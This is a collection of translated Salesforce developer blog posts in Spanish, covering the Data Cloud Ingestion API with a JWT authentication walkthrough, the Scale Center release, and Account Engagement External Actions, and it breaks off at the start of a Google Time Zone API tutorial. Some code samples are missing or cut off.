Al crear eventos de captura de datos modificados Al usar una nueva organización de Data Cloud que desea rellenar con 30, 60 o más de 90 días de datos
Al consumir datos de webhooks

Para configurar la API de ingesta, deberá seguir cuatro pasos de requisitos previos:

  • Crear un conector de API de ingesta
  • Crear e implementar un flujo de datos
  • Crear una aplicación conectada
  • Solicitar un token de acceso a la nube de datos

Veamos el proceso de creación y configuración de un conector de ingesta para comenzar a cargar datos en Data Cloud.

Creación de un conector de API de ingesta

Supongamos que tiene acceso a Data Cloud. Para conectar una nueva fuente de API de ingesta mediante el conector de API de ingesta, vaya a Configuración de nube de datos y seleccione API de ingesta .

Aquí encontrará todos los conectores disponibles en su organización. Para crear uno nuevo, haga clic en Conectar y proporcione un nombre. Para nuestra aplicación de muestra, trabajaremos con una empresa de energía solar ficticia. Estamos interesados en recibir eventos de métricas relacionadas con el rendimiento energético de sus paneles solares.

Una vez que se haya creado el conector, necesitaremos decirle a Data Cloud qué tipo de datos estamos esperando. Para esto, necesitaremos cargar un archivo de esquema utilizando la especificación OpenAPI. Este archivo de esquema tiene requisitos específicos, así que asegúrese de consultar la documentación para obtener más información.

A continuación se muestra un ejemplo del archivo de esquema que cargaremos, que representa un solar_panel_event . Los campos clave a tener en cuenta incluyen event_id , que será único para cada evento y luego se asignará en Data Cloud como clave principal. Otro es customer_id , que nos será útil para mapear el evento con un cliente de nuestra organización. Finalmente, date_time representa la hora del evento.

panel_solar_event.yaml

Una vez que carguemos el esquema, podremos obtener una vista previa de sus campos y tipos de datos, y luego guardarlo en nuestro conector.

Ahora que nuestro conector tiene un esquema, podemos decir que está creado. Sin embargo, aún no está listo para comenzar a recibir datos. Necesitamos crear un flujo de datos para este propósito.

Nota: Dado que los esquemas pueden evolucionar con el tiempo, también puede usar la interfaz del conector de la API de ingesta para actualizar el esquema y agregar nuevos campos a su objeto de datos según sea necesario.

Creación e implementación de un flujo de datos

Ya tenemos listo nuestro conector API de ingesta. Ahora es el momento de establecer una conexión para comenzar a importar datos. Para eso, necesitamos crear un flujo de datos . Una vez que el flujo de datos está activo, podemos comenzar a ingerir datos en Data Cloud y almacenarlos como un objeto de Data Lake.

Para crear un nuevo flujo de datos, vaya a su pestaña en la aplicación Data Cloud, haga clic en Nuevo , seleccione Ingestion API y luego haga clic en Siguiente .

Nota: La opción API de ingesta está deshabilitada si no tiene ninguna fuente de ingesta conectada.

A continuación, verá los diferentes objetos que están asociados con su esquema. En nuestro caso, seleccione el objeto solar_panel_event y haga clic en Siguiente .

Al crear un flujo de datos, deberá seleccionar una categoría o tipo de datos en ese flujo de datos. Hay tres categorías: Compromiso , Perfil y Otro .

Compromiso Un conjunto de datos que representa un compromiso basado en series de tiempo, como un evento, interacción con el cliente, interacción web, etc.

Cuando se selecciona, el menú desplegable Campo de hora del evento aparece en la interfaz de usuario.

Perfil Un conjunto de datos que representa:

– Una lista de consumidores con identificadores, como identificaciones de consumidores, direcciones de correo electrónico o números de teléfono

– Una lista de empresas o cuentas con ID de cuenta

– Una lista de empleados o cualquier otra población por la que desee segmentar o utilizar como población inicial del segmento

Otro Un conjunto de datos que no es un compromiso o un perfil, como información de productos o tiendas.

Para nuestro ejemplo, dado que estamos planeando recibir eventos, seleccionaremos Compromiso . Mapearemos el event_id como la clave principal y la date_time como el campo de hora del evento.

Ahora que nuestros datos están configurados, es hora de implementarlos. Después de revisar los flujos de datos que se van a crear, hagamos clic en Implementar para activarlos.

Ahora, echemos un vistazo a la página de detalles del flujo de datos. Aquí podemos ver el objeto Data Lake que se ha creado en Data Cloud. Puede identificar un objeto de Data Lake por su sufijo __dll . Desde esta misma interfaz, puede comenzar a asignar sus datos a los objetos de su organización para crear objetos de modelo de datos (parte del proceso de armonización de Data Cloud). Sin embargo, no cubriremos ese tema en esta publicación de blog, pero tenemos un excelente video con Danielle Larregui que le muestra cómo hacerlo.

Nuestro conector API de ingesta está listo para comenzar a recibir datos de sistemas de terceros. Para confirmar, regresemos a la interfaz de configuración de la API de ingesta, donde puede ver que el estado del conector es En uso .

Creación de una aplicación conectada

La API de ingesta admite todos los flujos de OAuth 2.0 admitidos por otras API REST de Salesforce. Para cargar datos mediante la API de ingesta, su aplicación conectada requiere los siguientes ámbitos:

Ámbitos de OAuth requeridos

cdp_ingest_api Acceda y administre sus datos de API de ingesta de nube de datos
API Accede y administra tus datos
refresco_token, acceso_sin conexión Realizar solicitudes en su nombre en cualquier momento

Además, nuestra aplicación conectada requerirá un certificado digital. Para crear uno, puede ejecutar el siguiente comando usando el comando openssl :

Este comando creará dos archivos, salesforce.key , que es la clave privada, y salesforce.crt , que es la clave pública.

Nota : si no tiene instalado el comando openssl , puede instalarlo desde el sitio web de OpenSSL .

Para saber cómo crear una aplicación conectada, consulte la documentación oficial.

Solicitud de un token de acceso a la nube de datos

Para este ejemplo, usaremos el flujo de soporte JWT de OAuth 2.0 . Primero, necesitaremos crear un JWT (JSON Web Token) para solicitar un token de acceso.

Para crear un JWT, configurará el encabezado para usar el algoritmo RSA256 .

Encabezado JWT

Luego, configure las siguientes notificaciones, teniendo en cuenta algunas notificaciones importantes:

  • iss: la clave de consumidor de OAuth/ID de cliente de su aplicación conectada
  • sub: el nombre de usuario de su organización de Data Cloud
  • exp: el tiempo de vencimiento del token, expresado como una marca de tiempo de época

reclamos JWT

Nota : La época de Unix (o la hora de Unix o la hora POSIX o la marca de tiempo de Unix) es la cantidad de segundos que han transcurrido desde el 1 de enero de 1970 (medianoche UTC/GMT).

A continuación, deberá utilizar el algoritmo JWT para obtener el token completo y verificado.

Pero seamos honestos, no queremos crear un JWT manualmente. Para esto, utilizaremos el sitio web JWT.io para simplificar el proceso. Asegúrese de que el mensaje Firma verificada aparezca a continuación, lo que indica que nuestro JWT es válido.

O puede crearlo programáticamente usando el lenguaje de programación de su elección. Más adelante en este artículo, compartiré un práctico script de Node.js para generar el token de acceso a la nube de datos.

Antes de que podamos autenticarnos usando el JWT que generamos, debemos aprobar este consumidor. Puede hacerlo abriendo la siguiente URL en su navegador.

<dx-code-block title language code-block="https://login.salesforce.com/services/oauth2/authorize?response_type=token&client_id=&redirect_uri=»>

Y luego, inicie sesión y permita el acceso:

Ahora que hemos aprobado nuestro JWT, necesitamos autenticarnos. Este es un proceso de dos pasos. Primero, necesitamos obtener un token de acceso usando el JWT. Para hacer esto, realicemos una solicitud POST HTTP con la siguiente información.

<dx-code-block title language code-block="POST https://login.salesforce.com/services/oauth2/token
Content-Type : x-www-form-urlencoded
grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer
&assertion=»>

Nota: asegúrese de reemplazar <JWT> con el token que creamos anteriormente.

Esta solicitud nos dará un token de acceso central y la URL de la instancia de Data Cloud, utilizando nuestra aplicación conectada. Como se muestra en el alcance , se nos otorgan los alcances cdp_ingest_api y api .

A continuación, debemos cambiar el token de acceso principal por un token de nube de datos. Para hacer eso, realicemos la siguiente solicitud POST.

<dx-code-block title language code-block="POST /services/a360/token Content-Type : x-www-form-urlencoded grant_type=urn:salesforce:grant-type:external:cdp &subject_token= &subject_token_type=urn:ietf:params:oauth:token-type:access_token»>

Ahora, estamos autenticados. El token de acceso a la nube de datos resultante es lo que usaremos para realizar solicitudes a la API de ingesta.

Para simplificar el proceso, he creado un script Node.js. Crea el JWT y realiza la autenticación en dos pasos. Para usarlo, necesitará la clave privada que creó anteriormente, así como un archivo de configuración similar al siguiente.

config.js

Además, instale la dependencia jsonwebtoken desde npm ejecutando:

credenciales.js

console.log(auth)) .catch((err) => console.error(err)); «>

El método generateAccessToken devolverá el objeto de autenticación de Data Cloud, incluido el access_token y la instance_url necesarios para comenzar a ingerir datos en Data Cloud.

Ingesta de datos

Tenemos toda la información necesaria para comenzar a ingerir datos en la nube de datos. Esto se puede lograr utilizando los patrones Streaming o Bulk.

Transmisión

Para comenzar a transmitir datos en el conector de Ingestión de nube de datos, primero obtenga el nombre del conector y el nombre del objeto de la configuración del conector de la API de Ingestión. Para hacer esto, puede realizar una solicitud POST como la siguiente.

<dx-code-block title language code-block="POST https:///api/v1/ingest/sources/Solar_Panel_Events/solar_panel_event
Authorization: Bearer
Content-Type: application/json
{ "data": [ {"event_id": "f47ac10b-58cc-4372-a567-0e02b2c3d479","customer_id": "003R00000123456789","battery": 75.2,"dc_current": 9.8,"dc_voltage": 35.6,"mpp_energy": 120.5,"ac_voltage": 220.1,"ac_current": 5.3,"date_time": "2023-07-07T10:15:30.05Z"} ] }»>

Nota : asegúrese de reemplazar <token de acceso a la nube de datos> y <url de instancia> con los valores respectivos que obtuvo del proceso de autenticación.

Si todo va bien, recibirás la siguiente respuesta:

Esto indica que nuestros datos han sido aceptados con éxito.

Nota : también puede validar los datos con el esquema antes de enviarlos agregando /actions/test al punto final de la API.

A granel

La ingestión masiva implica varios pasos, lo que agrega un nivel de complejidad al proceso:

  • Crear un trabajo: este paso implica crear un trabajo para especificar el tipo de objeto de los datos que se procesan y la operación que se realizará, que puede ser upsert o delete.
  • Cargar los datos en CSV: Después de crear el trabajo, el siguiente paso es cargar los datos en formato CSV. El archivo CSV debe contener los datos que se procesarán, con cada fila representando un registro y las columnas que contienen los valores de campo.
  • Indicar la preparación de los datos: una vez que se cargan los datos, deberá indicar que los datos están listos para ser procesados.
  • Cerrar o cancelar el trabajo: después de procesar los datos, puede cerrar el trabajo para marcarlo como completado o cancelar el trabajo si es necesario.

Para obtener más información sobre cómo usar los puntos de conexión masivos, puede consultar la documentación oficial .

Puede consultar los datos entrantes utilizando el Explorador de datos en Data Cloud. Allí, seleccionará el objeto Data Lake correspondiente al conector de ingesta que creó anteriormente.

Si desea probarlo usted mismo, siempre puede utilizar nuestra colección Postman de desarrolladores de Salesforce, que incluye las API de Salesforce Data Cloud .

Conclusión

Ahora, está listo para comenzar a cargar datos mediante programación en Data Cloud mediante la API de ingesta. Siguiendo los pasos anteriores, puede conectarse sin problemas a varias fuentes de datos e importar datos en tiempo real o en masa, y comenzar a aprovechar el poder y la magia de Salesforce Data Cloud.

Además, si prefiere aprender de un video, mi colega Aditya ha creado un video útil que explica lo que hemos cubierto en esta publicación de blog . Asegúrese de ver también los otros excelentes videos de la serie Data Cloud Decoded .

Recursos

Sobre los autores

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo @julianduque en Threads, @julian_duque en Twitter, @julianduque.co en Bluesky social o LinkedIn .

Aditya Naag Topalli es una defensora de desarrolladores líder certificada 14 veces en Salesforce. Capacita e inspira a los desarrolladores dentro y fuera del ecosistema de Salesforce a través de sus videos, seminarios web, publicaciones de blog y contribuciones de código abierto, y también habla con frecuencia en conferencias y eventos en todo el mundo. Sígalo en Twitter o LinkedIn y vea sus contribuciones en GitHub .

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Salesforce Scale Center está generalmente disponible ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Salesforce Scale Center está generalmente disponible | Blog de desarrolladores de Salesforce

Trailblazer.me estará fuera de línea por mantenimiento programado a partir del 21 de julio de 2023 a las 6 p. m. (hora del Pacífico) hasta el 22 de julio de 2023 mientras transformamos Trailblazer.me en la nueva cuenta de Trailblazer. Durante este tiempo de inactividad, no podrá iniciar sesión en ninguna aplicación relacionada, incluidas Ayuda y capacitación, AppExchange, Trailhead y Trailblazer Community, y más.

Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicación diseñada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con información mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las métricas de rendimiento de la organización y a los conocimientos prácticos.

En esta publicación, escuchará cómo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.

La importancia de construir a escala

Escalar de manera eficiente es un aspecto crítico del diseño e implementación de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Diseñar para el futuro y predecir y simular el tráfico comercial futuro puede ser un desafío. Si bien algunos errores pueden detectarse durante la fase de diseño, la mayoría de los errores ocurren solo durante el tiempo de ejecución en producción y, a veces, se manifiestan durante las cargas máximas.

Salesforce Scale Center proporciona la visibilidad necesaria de las métricas de rendimiento necesarias para aislar los puntos críticos y la capacidad de profundizar en estos puntos críticos para el análisis de la causa raíz y la guía de remediación. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicación de manera proactiva en lugar de reactivamente, asegurando soluciones más disponibles, receptivas y de rendimiento para su usuario final.

Obtenga una visión completa de sus métricas de rendimiento

Salesforce Scale Center permite a los clientes ver una instantánea de las métricas de rendimiento de su organización durante un intervalo de tiempo definido. A los clientes se les proporciona un panel único de visualización de errores comunes, incluidos inicios de sesión fallidos, errores de Apex simultáneos y errores de Rowlock. Además, los clientes pueden ver las métricas clave visualizadas en un gráfico durante la duración del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar rápidamente puntos críticos de rendimiento y escala.

Llevar a cabo un análisis profundo de un problema de rendimiento

Caso de uso: optimización del rendimiento de la base de datos

Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos críticos, problemas y picos dentro de las métricas de rendimiento, los clientes pueden investigar los componentes y sistemas que están causando el problema.

Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicación lleva mucho tiempo y falla con frecuencia. A continuación, explicaremos cómo puede abordar este problema utilizando Salesforce Scale Center.

  1. Navegue hasta el gráfico de CPU de la base de datos .

2. En el gráfico, haga clic y arrastre para resaltar los picos en las métricas de rendimiento.

3. Seleccione el tipo de informe e inicie un análisis de la base de datos.

4. Cambie a la pestaña Análisis de rendimiento para ver el informe generado.

5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qué acciones específicas están provocando una mala experiencia del usuario final.

Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, Límites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los análisis.

Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.

Comparar el rendimiento en diferentes períodos de tiempo

Salesforce Scale Center permite a los clientes comparar las métricas de rendimiento de la organización en diferentes períodos de tiempo. Los casos de uso clave incluyen:

  • Preparación para la implementación de producción:
    • Realice pruebas de rendimiento en un entorno de espacio aislado
    • Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producción
  • Evaluación del impacto posterior a la implementación:
    • Después de un lanzamiento importante o una implementación de funciones en producción, aproveche Scale Center para comparar las métricas de la organización antes y después de la implementación.
    • Determinar si la implementación ha tenido algún impacto negativo en el desempeño general de la organización.
  • Análisis del rendimiento durante los días pico:
    • Utilice la función de comparación de Scale Center para evaluar el impacto en el rendimiento de la organización durante los días pico.
    • Compare las métricas de tráfico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.

Cómo comparar períodos de tiempo en Salesforce Scale Center

  1. Proporcione un rango de tiempo base y un rango de tiempo de comparación.

2. Compare las métricas de primera línea.

3. Compare los gráficos de rendimiento de la organización.

Al aprovechar la función de comparación de Scale Center, los desarrolladores pueden obtener información valiosa sobre el rendimiento de la organización, identificar áreas de optimización y garantizar un proceso de implementación fluido y eficiente.

Comience con Salesforce Scale Center

Scale Center es de uso gratuito y está disponible en todas las organizaciones de sandbox de copia completa y de producción de UE.

Consideraciones del producto:

  • Scale Center no tiene impacto en el rendimiento de la organización y no accede a los datos de su organización
  • Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
  • Si desea que Scale Center esté habilitado en una organización fuera de UE, comuníquese con su representante de cuenta

Para acceder al Centro de escala:

  1. Navegue a Configuración.
  2. Ingrese "Centro de escala" en el cuadro Búsqueda rápida y haga clic en la pestaña Rendimiento de la organización en la hoja Rendimiento.
  3. Habilite Scale Center para su organización activando la opción Habilitar Scale Center .

Tenga en cuenta que las métricas de rendimiento pueden tardar hasta dos horas en aparecer después de habilitar Scale Center.

Más recursos

Sobre el Autor

Justin Saintil es Gerente de Producto Asociado en Salesforce y trabaja en la Cartera de Productos de Escalabilidad.

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Comenzando con Acciones Externas ☁️

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Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Introducción a las acciones externas | Blog de desarrolladores de Salesforce

Tuve excelentes conversaciones con clientes y socios en Connections este año, así como a través de la comunidad Trailblazer de MC Account Engagement , con respecto a las acciones externas de Account Engagement . Seguía surgiendo una pregunta: "¿Cómo empiezo con las acciones externas?" En esta publicación, aprenderá qué son las acciones externas, cómo configurarlas y cómo probarlas. Además, sintonice una próxima sesión de codeLive el 20 de julio a las 10 a. m. PT , donde realizaré una demostración de codificación en vivo para mostrarle cómo crear una acción externa y responder sus preguntas.

¿Qué son las Acciones Externas?

Las acciones externas son una parte clave deMarketing App Extensions , ya que proporcionan una forma de desencadenar una acción en un sistema externo. El otro componente es Actividades externas, que proporciona una forma de activar la automatización de la participación de la cuenta en función de un evento de participación que ocurre en un sistema externo. Piense en ello como las dos caras de una moneda, las acciones se activan, las actividades se activan. Combinadas, forman una aplicación de extensibilidad de automatización para un servicio, por lo que puede tener una extensión de aplicación de marketing por SMS, por ejemplo.

Por este motivo, las acciones externas se empaquetan en una extensión de aplicación de marketing. En el momento de escribir este artículo, las actividades externas aún no se pueden empaquetar, pero eventualmente también se empaquetarán en la extensión de la aplicación de marketing.

Si desea conectar una aplicación de terceros para automatizar la ejecución de una acción de prospecto en ese sistema, entonces esta es definitivamente la función para usted. En esta publicación, profundizaremos en el lado de la acción externa de las extensiones de aplicaciones de marketing.

¿Cuáles son algunos buenos casos de uso para las acciones externas?

Bueno, si me preguntan, ¡diría absolutamente todo! Puede que estés pensando: “¡Claro, todo el mundo dice eso!”. Sin embargo, las posibilidades que desbloquean las acciones externas son realmente amplias. Si alguna vez ha dicho: "Me gustaría que cuando un prospecto llegue a este paso, yo pudiera <insertar deseo aquí>", entonces deseaba una acción externa.

Puede usar una acción externa para registrarse en un seminario web de Zoom desde Account Engagement (consulte el ejemplo en GitHub ). También puede usar una acción externa para enviar un mensaje SMS a través de Twilio, que presentamos en una publicación de blog anterior . Incluso puedes usar acciones externas con webhooks; Usé la función de captura de webhook de Zapier para crear una acción externa que usaba un cliente potencial como desencadenante de un Zap.

¿Qué constituye una acción externa?

Una acción externa consta de una acción invocable de Apex, metadatos de la extensión de la aplicación de marketing, metadatos de una acción externa y una forma de gestionar la autenticación. Los metadatos para las extensiones de la aplicación de marketing y las actividades externas conectan la acción invocable con la participación de la cuenta. Los componentes que se usarán para la autenticación pueden variar según el tipo de autenticación que admita el servicio. Como OAUTH 2.0 es bastante común, el componente que uso más es un proveedor de autorización y Credenciales con nombre . Las credenciales con nombre también facilitan la administración de la autenticación en mi código, y el sistema hace la mayor parte del trabajo.

¿Qué habilidades necesito para trabajar con Acciones Externas?

Con una gran flexibilidad viene la complejidad, por lo que necesitará algunas habilidades en ciertas áreas para construir con éxito una acción externa. Los siguientes son temas clave de los que necesitará una comprensión básica antes de abordar su propia acción externa.

SLDC de Salesforce

Comprender el ciclo de vida del desarrollo de Salesforce es muy importante para tener éxito en general. Recomiendo aprender Visual Studio y el proceso de implementación de la CLI. No se necesita maestría, solo lo básico para poder empezar. Trailhead ofrece una ruta para ayudarlo a configurar su espacio de trabajo .

Documentación de la API REST

El patrón del que hablamos en este artículo se basa en las API REST JSON. Para comprender lo que es posible y recopilar las entradas pertinentes para una acción externa, debe poder leer una especificación API. Consulte las especificaciones de la API de Account Engagement y Twilio .

Implementación de Apex y Apex

Apex Invocable Actions es mi forma preferida de codificar mis acciones externas, ya que me permite la mayor flexibilidad y control. Recomendaría, como mínimo, familiarizarse con la compilación y la implementación de código Apex mediante el proyecto Quick Start: Apex de Trailhead. Para obtener más información, encontré útil el trailmix de Apex Basics . No necesita convertirse en un experto, pero al menos debe estar lo suficientemente informado como para poder leer el código de la aplicación de referencia .

Flujo de Salesforce (opcional)

No necesita conocer Salesforce Flow para aprender Acciones externas. Sin embargo, es una herramienta de prueba muy poderosa para sus acciones externas, lo que facilita la creación de una interfaz de usuario para controlar las entradas durante la prueba. Si está familiarizado con Engagement Studio, Flow será bastante fácil ya que tiene muchos de los mismos conceptos. Utilicé la ruta Crear flujos con Flow Builder para ponerme al día. Otro beneficio de aprender Salesforce Flow es que abre la puerta a la creación de todo tipo de automatización de procesos comerciales.

¿Cómo debo configurar mi entorno de desarrollador?

Es importante configurar sus entornos de desarrollador y contar con las herramientas adecuadas antes de comenzar con las acciones externas. Yo uso las siguientes herramientas.

  • Postman : utilizo Postman para explorar una nueva API, por lo que puedo aprender a realizar una solicitud y responder de forma sencilla. Postman también proporciona una manera fácil de generar ejemplos.
  • CLI de Visual Studio + Salesforce — Uso Visual Studio para codificar mi acción invocable y la implemento en mi organización de desarrollador. La mayoría de las veces, es simplemente copiar y pegar un ejemplo anterior y editarlo para mi nuevo caso de uso.
  • Entorno de desarrollador/sandbox : este es un entorno seguro para construir, desarrollar y empaquetar sus acciones externas. Tenga en cuenta que, en el momento de escribir este artículo, solo admitimos paquetes de primera generación (1GP) , por lo tanto, no configure su organización de desarrollador como Dev Hub.
  • Salesforce Flow : personalmente me gusta usar ScreenFlows para probar una acción invocable. Es bueno poder controlar completamente la entrada antes de conectarla a acciones externas y programas ES.
  • Consola de desarrollador de Salesforce : esto le permite ver rápidamente el código o ver los registros de sus pruebas de flujo de pantalla.

Patrón básico para llamadas API REST con acciones externas

Si bien puede codificar acciones externas de muchas maneras, existe un patrón básico que recomiendo al realizar llamadas a la API REST.

Las dos etiquetas que debe recordar son InvocableVariable , que define las entradas y salidas de la acción invocable, e InvocableMethod , que es el método a llamar al ejecutar la acción invocable. Puede ver cómo se aplican en el siguiente código de ejemplo.

Normalmente creo dos clases, una para la entrada y otra para la solicitud de API. Separar mi código en dos clases facilita jsonificar la carga útil. Mi clase de entrada contiene todos los campos de variables invocables que la acción invocable necesita en la entrada. Mi solicitud de API contiene los campos de la solicitud JSON.

InvocableMethod construirá la carga útil a partir de la entrada, la convertirá a JSON y luego la agregará a la solicitud HTTP. A continuación, configura el resto de la solicitud HTTP agregando la URL, los encabezados y el método. Finalmente, realiza la llamada a la API y comprueba si el resultado es correcto o, de lo contrario, genera un error útil para diagnosticar un problema.

Consideración importante: el marco de acción externa espera que se devuelva un error si hay una falla en lugar de detectar el error y luego devolver el éxito. Si se devuelve un error, se informará en la tabla de errores.

Poniendo a prueba tus acciones externas

De vez en cuando, mientras crea una acción externa, encontrará errores. Cuanto más pueda probar sobre la marcha, más fácil será descubrir dónde radica el problema. Es por eso que recomiendo agregar un paso de prueba para probar en Salesforce Flow antes de probar en Engagement Studio. Elimina la configuración de la acción externa de la imagen, por lo que si la verifica aquí, pero no funciona en Engagement Studio, sabrá que el problema radica en la configuración de la acción externa.

Las pruebas lo ayudan a identificar errores, pero determinar la causa raíz y corregirlos es otra cosa. A continuación se presentan algunas de las técnicas que utilizo para diagnosticar las causas fundamentales.

  • Consola de desarrollador de Salesforce : utilizo la consola de desarrollo para ejecutar mis casos de prueba y confirmar la cobertura de mi código. Durante las pruebas exploratorias en Flow, mantengo abierta mi consola de desarrollo, por lo que genera registros para usar en la investigación de errores.
  • Rastreos de registro de Salesforce : si el error ocurre durante mi prueba de Engagement Studio, coloco un rastreo de usuario en el usuario de integración B2BMA, para poder ver mis registros de Apex y diagnosticar el problema más a fondo. Tenga cuidado, podría terminar con una gran cantidad de datos. El Usuario de Integración B2BMA es el usuario que ejecuta acciones externas.
  • Errores de acción externa de compromiso de cuenta : la tabla proporciona cualquier error devuelto por la acción externa que resultó en una falla. Es útil ver lo que sucedió durante una ejecución de ES.

SUGERENCIA: si tiene una cuenta de Gmail, puede usar un "+" para crear varios registros con su dirección de correo electrónico. Por ejemplo, puedo registrar tanto "ejemplo@ejemplo.com" como "ejemplo+usuario2@ejemplo.com" como prospecto, y cualquier correo enviado a esas direcciones iría al buzón de correo de ejemplo@ejemplo.com. Por ejemplo, usé esto para probar el ejemplo de registro de Zoom porque no quería que el correo electrónico registrado rebotara.

Errores comunes

Los errores van a suceder, así es la vida. Me he encontrado con algunos escenarios que me han hecho casi tirarme de los pelos.

El primero es garantizar que la acción exterior sea activa. Si la acción no aparece en Engagement Studio, es probable que esta sea la causa. Recuerde, debe activar tanto la extensión de la aplicación de marketing como la acción externa, además de asignarla a esa unidad comercial.

El siguiente es asegurarse de que su clase de Apex esté activa. La mayoría de las veces ya estará marcado como activo, es el estado predeterminado cuando creas una nueva clase. Es exactamente por eso que es fácil pasarlo por alto.

Otro es buscar extensiones de aplicaciones de marketing al empaquetar. No puedo decirte cuántas veces busco acciones externas, solo para tener un momento de confusión antes de recordar.

Finalmente, si su acción externa no funciona, pero no ve errores, verifique que la acción invocable fue diseñada para generar un error en caso de falla.

Lo anterior no es de ninguna manera exhaustivo, y es probable que encuentre sus propias alegrías. Sin embargo, recomiendo compartirlos con la comunidad si encuentra algunos buenos.

¿Que estas esperando? ¡Empiece hoy!

Ahora sabe casi todo lo que hago sobre las acciones externas, desde cómo funciona la función hasta los errores comunes. Recuerde que Acciones externas es su herramienta siempre que se encuentre diciendo: "Me gustaría hacer algo cuando el cliente potencial haga esto", y lo ayudará a automatizar esa acción.

Entonces, configure su entorno de desarrollador, revise la aplicación de referencia y comience a construir su acción externa hoy. El 20 de julio a las 10 a. m. (hora del Pacífico) , realizaremos una sesión de CodeLive en nuestro canal de YouTube para desarrolladores de Salesforce , así que únase y síganos mientras construimos una extensión de la aplicación de marketing de Twilio.

Recursos

Sobre el Autor

Christopher Cornett es gerente sénior de productos en Salesforce, responsable de la experiencia del desarrollador de Account Engagement. Ha trabajado para Salesforce durante más de cuatro años y tiene más de 13 años de experiencia en gestión de productos, trabajando principalmente en plataformas que van desde la atribución de big data hasta el fraude. Christopher ha ayudado a ofrecer API V5 y extensiones de aplicaciones de marketing, ayudando a los clientes a crear integraciones personalizadas para que su pila de marketing funcione para ellos. Le apasiona la experiencia del desarrollador y le encanta jugar con todas las excelentes funciones para ver qué es posible.

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Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Integración de API de zona horaria de Salesforce y Google: traducción de coordenadas a información de zona horaria

Última actualización el 29 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo puede aprovechar la API de zona horaria de Google para actualizar automáticamente la información de zona horaria de un cliente potencial en función de sus coordenadas geográficas?

Objetivos:

Después de leer este blog, podrá:

Jestilla Zetkin se desempeña actualmente como arquitecta de Salesforce en Gurukul On Cloud (GoC). El Director Comercial le ha confiado a Jestilla un desafío único. El objetivo es asegurarse de que, en el momento de la creación, los prospectos de Salesforce (creados a través de Web-to-lead) reciban los detalles exactos de la zona horaria, que se determinan en función de sus respectivas coordenadas geográficas.

  1. El caso de uso comercial requiere que usemos la API de zona horaria de Google para actualizar automáticamente cuatro campos específicos en los clientes potenciales:
    1. dstOffset (la compensación del horario de verano en segundos)
    2. rawOffset (el desplazamiento de la hora universal coordinada para la zona horaria de la ubicación dada)
    3. timeZoneId (una cadena que identifica de forma única la zona horaria)
    4. y timeZoneName (el nombre largo de la zona horaria)
  2. En caso de una respuesta fallida, instituya una acción de contingencia para crear una tarea para el propietario designado del cliente potencial.

¿Qué es la API de zona horaria de Google?

Hay muchas posibilidades de que su base de clientes esté repartida en varias zonas horarias. Este factor puede influir en gran medida en sus interacciones con ellos, especialmente al programar llamadas, reuniones o enviar mensajes automáticos. La plataforma de Salesforce ofrece un entorno altamente adaptable para almacenar y administrar datos de clientes, pero de forma predeterminada, no proporciona una forma de registrar automáticamente la zona horaria del cliente potencial en función de sus coordenadas geográficas.

La API de zona horaria de Google es un servicio ofrecido por Google como parte de su plataforma Google Maps. La API proporciona datos de zona horaria para cualquier ubicación en todo el mundo en función de las coordenadas de latitud y longitud. Este servicio puede ser particularmente útil para los desarrolladores que necesitan ajustar la comunicación de acuerdo con la ubicación geográfica de un cliente potencial o contacto o para empresas que operan en diferentes zonas horarias.

La API de zona horaria proporciona la siguiente información:

  • El ID de la zona horaria , según lo define la base de datos de zonas horarias de la IANA (por ejemplo, America/New_York ).
  • El nombre de la zona horaria (por ejemplo, hora de verano del este ).
  • La diferencia horaria con respecto a la hora universal coordinada (UTC) sin tener en cuenta el horario de verano (rawOffset).
  • El desfase horario debido al horario de verano (dstOffset).

Tenga en cuenta que la API de zona horaria de Google está sujeta a cargos, por lo que es importante comprender las implicaciones de costos antes de implementarla.

¿ Cómo funciona la API de zona horaria de Google?

La API de zona horaria de Google funciona tomando coordenadas de latitud y longitud y devolviendo datos de zona horaria en formato JSON. Aquí hay un ejemplo básico de cómo usarlo.

